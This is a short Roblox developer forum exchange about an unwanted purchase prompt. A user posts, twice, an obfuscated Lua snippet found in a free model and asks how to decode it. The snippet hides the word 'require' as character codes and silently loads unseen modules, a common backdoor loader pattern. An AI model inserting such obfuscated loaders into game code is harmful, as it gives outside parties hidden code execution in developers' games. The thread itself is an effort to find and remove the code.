There is a script somewhere in your game that is using MarketPlaceService to prompt a purchase to the client. Try searching your code for somewhere MarketPlaceService’s PromptPurchase function or PromptGamepassPurchase function. You can remove this line of code and it will stop showing up.
return function(ttt) local z=getfenv()
pcall(function()z["\114\101\113\117\105\114\101"](rrr)(ttt)end)
pcall(function()z["\114\101\113\117\105\114\101"](r)(ttt)end)
pcall(function()z["\114\101\113\117\105\114\101"](rr)(ttt)end)
end
I’ve somehow managed to find the script for the require model above, this is what’s causing the prompt to show up, however if I disable the “Add” script. Then my other models won’t work… So I’m wondering if it’s possible to decode those.
return function(ttt) local z=getfenv()
pcall(function()z["\114\101\113\117\105\114\101"](rrr)(ttt)end)
pcall(function()z["\114\101\113\117\105\114\101"](r)(ttt)end)
pcall(function()z["\114\101\113\117\105\114\101"](rr)(ttt)end)
end